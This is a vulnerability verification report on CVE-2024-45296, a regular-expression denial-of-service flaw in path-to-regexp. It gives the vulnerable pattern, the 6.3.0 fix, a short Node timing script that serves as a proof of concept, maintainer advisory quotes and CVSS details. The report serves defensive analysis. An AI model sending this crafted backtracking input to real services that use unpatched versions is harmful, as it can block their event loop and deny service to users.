CVE-2024-45296

Technical evidence

Fix

https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0

Vulnerable code

path-to-regexp 6.2.2 (src/index.ts, tokensToRegexp / tokenToRegexp): the default parameter pattern is [^\/#\?]+? with no exclusion of the preceding separator. For '/:a-:b-:c' this yields adjacent lazy groups separated by '-', so a non-matching input with many '-' causes about cubic backtracking. 6.3.0 adds a (?!-) lookahead.

PoC

Compile '/:a-:b-:c', then time re.test('/' + '-'*n + '/x'), which cannot match and forces backtracking. Print the regex source and elapsed ms per n. v8.0.0 has no pathToRegexp export, so a separate script used match('/:a-:b-:c')(s) with the same input.

Script

const m=require(process.cwd()+'/node_modules/path-to-regexp');
const path='/:a-:b-:c';
let re;
if(typeof m==='function') re=m(path,[]);
else { const r=m.pathToRegexp(path); re=r.regexp||r; }
console.log(re.source);
for(const n of [1000,2000]){
  const s='/'+'-'.repeat(n)+'/x';
  const t=process.hrtime.bigint();re.test(s);
  console.log(n,Number(process.hrtime.bigint()-t)/1e6,'ms');
}

Only the '/:a-:b-:c' pattern was tested, with the n=1000 and n=2000 sizes (n=4000 on 6.2.2 only). The 1.x, 2.x, 3.x and 7.x lines were not installed. Against the fix commit 29b96b4, 0.1.10 still produced an unprotected regex for this pattern, but 0.1.12 was protected. This may mean the stated 0.1.10 fixed boundary is incomplete for this pattern. No network service was run; c4 and c5 are deployment and CVSS properties.

Discourse evidence

The maintainer advisory (blakeembrey) says versions >=4.0.0 <6.3.0 are affected and fixed in 6.3.0, which puts 6.2.2 in range. It describes the two-parameters-per-segment regex, the event-loop blocking, and a CVSS vector of AV:N/PR:N. The only dispute found is a user (issue #328) saying NVD still flags the fixed versions. The maintainer replied that the checker needs fixing. No source disputes the claim about 6.2.2.

• maintainerblakeembrey (pillarjs advisory)supports c62024-09-09

  A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b`.

• maintainerblakeembrey (pillarjs advisory)supports c82024-09-09

  Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS.

• maintainerblakeembrey (pillarjs advisory)supports c72024-09-09

  In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex.

• maintainerblakeembrey (pillarjs advisory)supports target2024-09-09

  Affected versions: >=4.0.0, <6.3.0 ... Patched versions: 6.3.0

• maintainerblakeembrey (pillarjs advisory)supports target2024-09-09

  These versions add backtrack protection when a custom regex pattern is not provided: ... 6.3.0

• vuln dbGitHub Advisory Databasesupports c2

  >=4.0.0, <6.3.0

• vuln dbGitHub advisory CVSSsupports c52024-09-09

  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• vuln dbGitHub advisory CVSSsupports c42024-09-09

  Privileges required None

• maintainerblakeembreyneutral target2024-09-17

  No, the fixes were already released. This would need to be fixed in the vulnerability checker since I don't see how releasing another version would fix this now.

• communityGjomesquitaneutral c22024-09-17

  some vulnerability checkers (nvd.nist.gov) are still considering as a broken version.

Jev scores

Official record

path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and lead to a DoS. The bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.

OSV reports for this exact version: GHSA-9wv6-86v2-598j, CVE-2024-45296, CVE-2026-4867, GHSA-37ch-88jc-xwx2 · CVSS 7.5 HIGH · CWE-1333